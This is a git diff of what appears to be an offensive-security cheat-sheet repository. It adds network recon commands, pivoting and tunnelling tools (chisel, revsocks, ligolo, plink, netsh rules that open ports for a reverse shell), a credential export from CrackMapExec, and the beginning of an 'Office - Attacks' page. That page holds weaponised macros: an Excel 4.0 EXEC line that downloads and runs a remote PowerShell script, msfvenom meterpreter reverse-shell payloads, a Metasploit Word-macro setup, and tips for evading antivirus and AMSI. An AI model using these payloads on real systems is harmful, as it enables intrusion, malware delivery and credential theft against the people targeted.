nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
|
||||
```
|
||||
|
||||
* NMAP Scripts
|
||||
|
||||
```bash
|
||||
nmap -sC : equivalent to --script=default
|
||||
|
||||
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
| http-enum:
|
||||
| /phpmyadmin/: phpMyAdmin
|
||||
| /.git/HEAD: Git folder
|
||||
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|
||||
|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|
||||
|
||||
nmap --script smb-enum-users.nse -p 445 [target host]
|
||||
Host script results:
|
||||
| smb-enum-users:
|
||||
| METASPLOITABLE\backup (RID: 1068)
|
||||
| Full name: backup
|
||||
| Flags: Account disabled, Normal user account
|
||||
| METASPLOITABLE\bin (RID: 1004)
|
||||
| Full name: bin
|
||||
| Flags: Account disabled, Normal user account
|
||||
| METASPLOITABLE\msfadmin (RID: 3000)
|
||||
| Full name: msfadmin,,,
|
||||
| Flags: Normal user account
|
||||
|
||||
List Nmap scripts : ls /usr/share/nmap/scripts/
|
||||
```
|
||||
|
||||
* RPCClient
|
||||
|
||||
```bash
|
||||
╰─$ rpcclient -U "" [target host]
|
||||
$ rpcclient -U '%' [target host]
|
||||
rpcclient $> querydominfo
|
||||
Domain: WORKGROUP
|
||||
Server: METASPLOITABLE
|
||||
@@ -148,10 +65,11 @@ masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
|
||||
user:[bind] rid:[0x4ba]
|
||||
```
|
||||
|
||||
* Enum4all
|
||||
* enum4linux
|
||||
|
||||
```bash
|
||||
Usage: ./enum4linux.pl [options]ip
|
||||
enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/)
|
||||
Usage: ./enum4linux.pl [options] ip
|
||||
-U get userlist
|
||||
-M get machine list*
|
||||
-S get sharelist
|
||||
@@ -254,7 +172,7 @@ masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
|
||||
then launch Burp with : java -jar burpsuite_free_v*.jar &
|
||||
```
|
||||
|
||||
* [Checklist for Web vulns](http://mdsec.net/wahh/tasks.html)
|
||||
* [WAHH Task Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html
|
||||
|
||||
* Subscribe to the site and pay for the additional functionality to test
|
||||
|
||||
|
||||
27
Methodology and Resources/Miscellaneous - Tricks.md
Normal file
@@ -0,0 +1,27 @@
|
||||
# Miscellaneous & Tricks
|
||||
|
||||
All the tricks that couldn't be classified somewhere else.
|
||||
|
||||
## Send a message to another user
|
||||
|
||||
```powershell
|
||||
# Windows
|
||||
PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !"
|
||||
PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !"
|
||||
|
||||
# Linux
|
||||
$ wall "Stop messing with the XXX service !"
|
||||
$ wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root
|
||||
$ who
|
||||
$ write root pts/2 # press Ctrl+D after typing the message.
|
||||
```
|
||||
|
||||
## CrackMapExec Credential Database
|
||||
|
||||
```ps1
|
||||
cmedb (default) > workspace create test
|
||||
cmedb (test) > workspace default
|
||||
cmedb (test) > proto smb
|
||||
cmedb (test)(smb) > creds
|
||||
cmedb (test)(smb) > export creds csv /tmp/creds
|
||||
```
|
||||
@@ -3,6 +3,7 @@
|
||||
## Summary
|
||||
|
||||
- [Nmap](#nmap)
|
||||
- [Spyse](#spyse)
|
||||
- [Masscan](#masscan)
|
||||
- [Netdiscover](#netdiscover)
|
||||
- [Responder](#responder)
|
||||
@@ -97,14 +98,54 @@ Host script results:
|
||||
List Nmap scripts : ls /usr/share/nmap/scripts/
|
||||
```
|
||||
|
||||
## Spyse
|
||||
* Spyse API - for detailed info is better to check [Spyse](https://spyse.com/)
|
||||
|
||||
* [Spyse Wrapper](https://github.com/zeropwn/spyse.py)
|
||||
|
||||
#### Searching for subdomains
|
||||
```bash
|
||||
spyse -target xbox.com --subdomains
|
||||
```
|
||||
|
||||
#### Reverse IP Lookup
|
||||
```bash
|
||||
spyse -target 52.14.144.171 --domains-on-ip
|
||||
```
|
||||
|
||||
#### Searching for SSL certificates
|
||||
```bash
|
||||
spyse -target hotmail.com --ssl-certificates
|
||||
```
|
||||
```bash
|
||||
spyse -target "org: Microsoft" --ssl-certificates
|
||||
```
|
||||
#### Getting all DNS records
|
||||
```bash
|
||||
spyse -target xbox.com --dns-all
|
||||
```
|
||||
|
||||
## Masscan
|
||||
|
||||
```powershell
|
||||
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
|
||||
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
|
||||
|
||||
masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
|
||||
masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
|
||||
# find machines on the network
|
||||
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
|
||||
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
|
||||
|
||||
# find open ports for one machine
|
||||
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
|
||||
|
||||
|
||||
# TCP grab banners and services information
|
||||
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
|
||||
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
|
||||
|
||||
# UDP grab banners and services information
|
||||
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
|
||||
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP
|
||||
```
|
||||
|
||||
## Reconnoitre
|
||||
|
||||
@@ -8,11 +8,16 @@
|
||||
* [Local Port Forwarding](#local-port-forwarding)
|
||||
* [Remote Port Forwarding](#remote-port-forwarding)
|
||||
* [Proxychains](#proxychains)
|
||||
* [Graftcp](#graftcp)
|
||||
* [Web SOCKS - reGeorg](#web-socks---regeorg)
|
||||
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
|
||||
* [Metasploit](#metasploit)
|
||||
* [sshuttle](#sshuttle)
|
||||
* [chisel](#chisel)
|
||||
* [SharpChisel](#sharpchisel)
|
||||
* [gost](#gost)
|
||||
* [Rpivot](#rpivot)
|
||||
* [RevSocks](#revsocks)
|
||||
* [plink](#plink)
|
||||
* [ngrok](#ngrok)
|
||||
* [Basic Pivoting Types](#basic-pivoting-types)
|
||||
@@ -25,8 +30,17 @@
|
||||
|
||||
```powershell
|
||||
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
|
||||
|
||||
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
|
||||
|
||||
# Forward the port 4545 for the reverse shell, and the 80 for the http server for example
|
||||
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
|
||||
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80
|
||||
# Correctly open the port on the machine
|
||||
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
|
||||
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
|
||||
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
|
||||
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
|
||||
|
||||
```
|
||||
|
||||
1. listenaddress – is a local IP address waiting for a connection.
|
||||
@@ -77,6 +91,43 @@ socks4 localhost 8080
|
||||
|
||||
Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`
|
||||
|
||||
## Graftcp
|
||||
|
||||
> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.
|
||||
|
||||
:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.
|
||||
|
||||
```ps1
|
||||
# https://github.com/hmgle/graftcp
|
||||
|
||||
# Create a SOCKS5, using Chisel or another tool and forward it through SSH
|
||||
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
|
||||
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse
|
||||
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks
|
||||
|
||||
# Run graftcp and specify the SOCKS5
|
||||
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
|
||||
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
|
||||
```
|
||||
|
||||
Simple configuration file for graftcp
|
||||
|
||||
```py
|
||||
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
|
||||
## Listen address (default ":2233")
|
||||
listen = :2233
|
||||
loglevel = 1
|
||||
|
||||
## SOCKS5 address (default "127.0.0.1:1080")
|
||||
socks5 = 127.0.0.1:1080
|
||||
# socks5_username = SOCKS5USERNAME
|
||||
# socks5_password = SOCKS5PASSWORD
|
||||
|
||||
## Set the mode for select a proxy (default "auto")
|
||||
select_proxy_mode = auto
|
||||
```
|
||||
|
||||
|
||||
## Web SOCKS - reGeorg
|
||||
|
||||
[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
|
||||
@@ -103,6 +154,17 @@ optional arguments:
|
||||
-v , --verbose Verbose output[INFO|DEBUG]
|
||||
```
|
||||
|
||||
## Web SOCKS - pivotnacci
|
||||
|
||||
[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.
|
||||
|
||||
```powershell
|
||||
pip3 install pivotnacci
|
||||
pivotnacci https://domain.com/agent.php --password "s3cr3t"
|
||||
pivotnacci https://domain.com/agent.php --polling-interval 2000
|
||||
```
|
||||
|
||||
|
||||
## Metasploit
|
||||
|
||||
```powershell
|
||||
@@ -123,7 +185,12 @@ or
|
||||
|
||||
# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
|
||||
run autoroute -s 192.168.15.0/24
|
||||
use auxiliary/server/socks4a
|
||||
use auxiliary/server/socks_proxy
|
||||
set SRVPORT 9090
|
||||
set VERSION 4a
|
||||
# or
|
||||
use auxiliary/server/socks4a # (deprecated)
|
||||
|
||||
|
||||
# Meterpreter list all active routes
|
||||
run autoroute -p
|
||||
@@ -137,6 +204,15 @@ route delete 192.168.14.0 255.255.255.0 3
|
||||
route flush
|
||||
```
|
||||
|
||||
## Empire
|
||||
|
||||
```powershell
|
||||
(Empire) > socksproxyserver
|
||||
(Empire) > use module management/invoke_socksproxy
|
||||
(Empire) > set remoteHost 10.10.10.10
|
||||
(Empire) > run
|
||||
```
|
||||
|
||||
## sshuttle
|
||||
|
||||
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
|
||||
@@ -150,6 +226,12 @@ pacman -Sy sshuttle
|
||||
apt-get install sshuttle
|
||||
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
|
||||
sshuttle -vvr username@pivot_host 10.2.2.0/24
|
||||
|
||||
# using a private key
|
||||
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
|
||||
|
||||
# -x == exclude some network to not transmit over the tunnel
|
||||
# -x x.x.x.x.x/24
|
||||
```
|
||||
|
||||
## chisel
|
||||
@@ -159,8 +241,72 @@ sshuttle -vvr username@pivot_host 10.2.2.0/24
|
||||
go get -v github.com/jpillora/chisel
|
||||
|
||||
# forward port 389 and 88 to hacker computer
|
||||
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
|
||||
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
|
||||
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
|
||||
|
||||
# SOCKS
|
||||
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
|
||||
```
|
||||
|
||||
### SharpChisel
|
||||
|
||||
A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel
|
||||
|
||||
```powershell
|
||||
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
|
||||
================================================================
|
||||
server : run the Server Component of chisel
|
||||
-p 8080 : run server on port 8080
|
||||
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
|
||||
--auth "user:pass" : Creds required to connect to the server
|
||||
--reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
|
||||
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.
|
||||
|
||||
user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks
|
||||
```
|
||||
|
||||
## Ligolo
|
||||
|
||||
Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
|
||||
|
||||
|
||||
1. Build Ligolo
|
||||
```powershell
|
||||
# Get Ligolo and dependencies
|
||||
cd `go env GOPATH`/src
|
||||
git clone https://github.com/sysdream/ligolo
|
||||
cd ligolo
|
||||
make dep
|
||||
|
||||
# Generate self-signed TLS certificates (will be placed in the certs folder)
|
||||
make certs TLS_HOST=example.com
|
||||
|
||||
make build-all
|
||||
```
|
||||
2. Use Ligolo
|
||||
```powershell
|
||||
# On your attack server.
|
||||
./bin/localrelay_linux_amd64
|
||||
|
||||
# On the compromise host.
|
||||
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
|
||||
```
|
||||
|
||||
## Gost
|
||||
|
||||
> Wiki English : https://docs.ginuerzh.xyz/gost/en/
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/ginuerzh/gost
|
||||
cd gost/cmd/gost
|
||||
go build
|
||||
|
||||
# Socks5 Proxy
|
||||
Server side: gost -L=socks5://:1080
|
||||
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
|
||||
|
||||
# Local Port Forward
|
||||
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]
|
||||
```
|
||||
|
||||
## Rpivot
|
||||
@@ -192,13 +338,52 @@ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [pro
|
||||
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
|
||||
```
|
||||
|
||||
## revsocks
|
||||
|
||||
```powershell
|
||||
# Listen on the server and create a SOCKS 5 proxy on port 1080
|
||||
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
|
||||
|
||||
# Connect client to the server
|
||||
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
|
||||
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
|
||||
```
|
||||
|
||||
|
||||
```powershell
|
||||
# Build for Linux
|
||||
git clone https://github.com/kost/revsocks
|
||||
export GOPATH=~/go
|
||||
go get github.com/hashicorp/yamux
|
||||
go get github.com/armon/go-socks5
|
||||
go get github.com/kost/go-ntlmssp
|
||||
go build
|
||||
go build -ldflags="-s -w" && upx --brute revsocks
|
||||
|
||||
# Build for Windows
|
||||
go get github.com/hashicorp/yamux
|
||||
go get github.com/armon/go-socks5
|
||||
go get github.com/kost/go-ntlmssp
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
|
||||
go build -ldflags -H=windowsgui
|
||||
upx revsocks
|
||||
```
|
||||
|
||||
|
||||
## plink
|
||||
|
||||
```powershell
|
||||
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 --> exposes the RDP port of the machine in the port 3390 of the SSH Server
|
||||
# exposes the SMB port of the machine in the port 445 of the SSH Server
|
||||
plink -l root -pw toor -R 445:127.0.0.1:445
|
||||
# exposes the RDP port of the machine in the port 3390 of the SSH Server
|
||||
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
|
||||
|
||||
plink -l root -pw mypassword 192.168.18.84 -R
|
||||
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
|
||||
|
||||
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
|
||||
# redirects the Windows port 445 to Kali on port 22
|
||||
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
|
||||
```
|
||||
|
||||
## ngrok
|
||||
@@ -216,6 +401,16 @@ unzip ngrok-stable-linux-amd64.zip
|
||||
./ngrok tcp 4433
|
||||
```
|
||||
|
||||
## cloudflared
|
||||
|
||||
```bash
|
||||
# Get the binary
|
||||
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
|
||||
tar xvzf cloudflared-stable-linux-amd64.tgz
|
||||
# Expose accessible internal service to the internet
|
||||
./cloudflared tunnel --url <protocol>://<host>:<port>
|
||||
```
|
||||
|
||||
|
||||
## Basic Pivoting Types
|
||||
|
||||
@@ -249,13 +444,15 @@ unzip ngrok-stable-linux-amd64.zip
|
||||
| :------------- | :------------------------------------------ |
|
||||
| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
|
||||
| socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
|
||||
| remote host 1 | `ncat -l -p 8080 < file |
|
||||
| remote host 1 | `ncat -l -p 8080 < file` |
|
||||
| remote host 2 | `ncat -l -p 9090 > newfile` |
|
||||
|
||||
## References
|
||||
|
||||
* [Network Pivoting Techniques - Bit rot](https://bitrot.sh/cheatsheet/14-12-2017-pivoting/)
|
||||
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
|
||||
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
|
||||
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)
|
||||
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
|
||||
* 🇫🇷 [Etat de l’art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
|
||||
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
|
||||
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
|
||||
|
||||
673
Methodology and Resources/Office - Attacks.md
Normal file
@@ -0,0 +1,673 @@
|
||||
# Office - Attacks
|
||||
|
||||
## Summary
|
||||
|
||||
* [XLSM - Hot Manchego](#xlsm---hot-manchego)
|
||||
* [XLS - Macrome](#xls---macrome)
|
||||
* [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter)
|
||||
* [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut)
|
||||
* [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec)
|
||||
* [DOCM - Metasploit](#docm---metasploit)
|
||||
* [DOCM - Download and Execute](#docm---download-and-execute)
|
||||
* [DOCM - Macro Creator](#docm---macro-creator)
|
||||
* [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro)
|
||||
* [DOCM - VBA Wscript](#docm---vba-wscript)
|
||||
* [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment)
|
||||
* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task)
|
||||
* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
|
||||
* [DOCM - winmgmts](#docm---winmgmts)
|
||||
* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
|
||||
* [DOCM - BadAssMacros](#docm---badassmacros)
|
||||
* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
|
||||
* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
|
||||
* [VBA Obfuscation](#vba-obfuscation)
|
||||
* [VBA Purging](#vba-purging)
|
||||
* [OfficePurge](#officepurge)
|
||||
* [EvilClippy](#evilclippy)
|
||||
* [VBA AMSI](#vba-amsi)
|
||||
* [VBA - Offensive Security Template](#vba---offensive-security-template)
|
||||
* [DOCX - Template Injection](#docx---template-injection)
|
||||
* [DOCX - DDE](#docx---dde)
|
||||
* [References](#references)
|
||||
|
||||
## XLSM - Hot Manchego
|
||||
|
||||
> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.
|
||||
|
||||
* https://github.com/FortyNorthSecurity/hot-manchego
|
||||
|
||||
```ps1
|
||||
Generate CS Macro and save it to Windows as vba.txt
|
||||
PS> New-Item blank.xlsm
|
||||
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
|
||||
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt
|
||||
```
|
||||
|
||||
## XLM - Macrome
|
||||
|
||||
> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.
|
||||
|
||||
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip
|
||||
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip
|
||||
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip
|
||||
|
||||
```ps1
|
||||
# NOTE: The payload cannot contains NULL bytes.
|
||||
|
||||
# Default calc
|
||||
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
|
||||
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
|
||||
# Custom shellcode
|
||||
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
|
||||
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
|
||||
# MSF shellcode
|
||||
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
|
||||
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin
|
||||
|
||||
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
|
||||
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin
|
||||
|
||||
# For VBA Macro
|
||||
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop
|
||||
```
|
||||
|
||||
When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.
|
||||
|
||||
|
||||
## XLM Excel 4.0 - SharpShooter
|
||||
|
||||
* https://github.com/mdsecactivebreach/SharpShooter
|
||||
|
||||
```powershell
|
||||
# Options
|
||||
-rawscfile <path> Path to raw shellcode file for stageless payloads
|
||||
--scfile <path> Path to shellcode file as CSharp byte array
|
||||
python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test
|
||||
|
||||
# Creation of a VBA Macro
|
||||
# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.
|
||||
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
|
||||
|
||||
# Creation of an Excel 4.0 SLK Macro Enabled Document
|
||||
~# /!\ The shellcode cannot contain null bytes
|
||||
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
|
||||
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
|
||||
|
||||
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00'
|
||||
SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee
|
||||
```
|
||||
|
||||
|
||||
## XLM Excel 4.0 - EXCELntDonut
|
||||
|
||||
* XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
|
||||
* AMSI has no visibility into XLM macros (for now)
|
||||
* Anti-virus struggles with XLM (for now)
|
||||
* XLM macros can access the Win32 API (virtualalloc, createthread, ...)
|
||||
|
||||
1. Open an Excel Workbook.
|
||||
2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
|
||||
3. Open your EXCELntDonut output file in a text editor and copy everything.
|
||||
4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
|
||||
5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
|
||||
6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
|
||||
7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
|
||||
8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.
|
||||
|
||||
:warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1
|
||||
|
||||
```ps1
|
||||
git clone https://github.com/FortyNorthSecurity/EXCELntDonut
|
||||
|
||||
-f path to file containing your C# source code (exe or dll)
|
||||
-c ClassName where method that you want to call lives (dll)
|
||||
-m Method containing your executable payload (dll)
|
||||
-r References needed to compile your C# code (ex: -r 'System.Management')
|
||||
-o output filename
|
||||
--sandbox Perform basic sandbox checks.
|
||||
--obfuscate Perform basic macro obfuscation.
|
||||
|
||||
# Fork
|
||||
git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs
|
||||
donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe
|
||||
donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe
|
||||
usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate]
|
||||
python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin
|
||||
```
|
||||
|
||||
XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md
|
||||
|
||||
|
||||
## XLM Excel 4.0 - EXEC
|
||||
|
||||
1. Right Click to the current sheet
|
||||
2. Insert a **Macro IntL MS Excel 4.0**
|
||||
3. Add the `EXEC` macro
|
||||
```powershell
|
||||
=EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')")
|
||||
=halt()
|
||||
```
|
||||
4. Rename cell to **Auto_open**
|
||||
5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide**
|
||||
|
||||
|
||||
## DOCM - Metasploit
|
||||
|
||||
```ps1
|
||||
use exploit/multi/fileformat/office_word_macro
|
||||
set payload windows/meterpreter/reverse_http
|
||||
set LHOST 10.10.10.10
|
||||
set LPORT 80
|
||||
set DisablePayloadHandler True
|
||||
set PrependMigrate True
|
||||
set FILENAME Financial2021.docm
|
||||
exploit -j
|
||||
```
|
